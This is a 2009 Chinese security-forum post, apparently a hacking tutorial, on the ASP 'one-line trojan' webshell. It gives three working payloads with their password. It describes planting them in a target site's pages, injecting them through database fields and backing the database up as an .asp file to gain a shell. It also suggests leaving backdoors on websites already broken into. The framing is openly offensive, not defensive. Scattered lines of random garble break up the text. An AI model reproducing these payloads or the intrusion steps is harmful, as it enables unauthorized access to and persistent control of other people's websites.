【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [原创教程] 一句话木马的使用方法视频 [打印本页]

作者: oooooo 时间: 2009-7-3 09:19 标题: 一句话木马的使用方法视频

一句话木马的使用
9 m9 a5 ^! H* o6 [7 d, `1 {
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~
/ c( }/ @! O9 n" n
; G. `4 i7 [+ ?
1、咱们先弄懂怎么使用的。
$ Z3 J$ ~* X6 T0 ^& c- w
分为客户端和服务端. ~, U: g! Q3 w

* }7 a4 `  a) a* R6 a1 S
客户端是连接上去的程序，也可以是网页/ @; h4 ^7 _! _- Y$ b/ a0 I  ^& Y
/ G( S, {' ]  b1 z
http://www.3ast.com.cn/tool/yijuhua.html; U$ w% j0 M+ U  k* m% {% E; n

服务端就是一段代码，代码里有对应的“密码”

提供三个服务端: % O" j, `; U, j- y# h' G
1. <%eval request("cnnsc")%> ) @/ B& {. w7 p- s3 I$ U
2. <%execute request("cnnsc")%> % X+ [; P; }9 G( Y9 v7 l* c% ~$ P) y
3. <%execute(request("cnnsc"))%>
" a. s: t! r- x' S/ m
cnnsc--密码* u+ k( y5 N9 h/ x5 q& L- T
- r6 |& Q3 O! G6 l+ R! ]
我们只要把这个代码插入到对方网站的网页中就可以了: ?6 e4 }5 o: o0 k
9 V4 t- m4 m3 ?. j2 j
我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%>
# h+ L, P2 S9 q2 U) H5 H$ E0 S2 h
换一个页面，添加过了。访问的时候一切正常，看链接

上传之后# U4 i% v/ w: _/ c" p6 @( z" ^
+ p4 T) Z$ ~# s2 _  a6 i
链接上去了
OK.这个就是链接的主要过程

# s1 o( a) Z, g$ i: x! X
2、然后懂得哪里会用上、怎么用: l7 @' j& V6 A+ ^* f

(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了
1 J; C( `- D9 R1 @' g- J! B
(2)可以给自己入侵的网站留下后门。。。。
0 F" o9 E( G; N% m) m" L/ [1 w) ?
(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。& w) B3 J8 n8 x% Z" d; J

好了，教程到此结束，不懂的可以再来问我。。。790653916

作者: EndTo偌枫 时间: 2009-7-3 13:27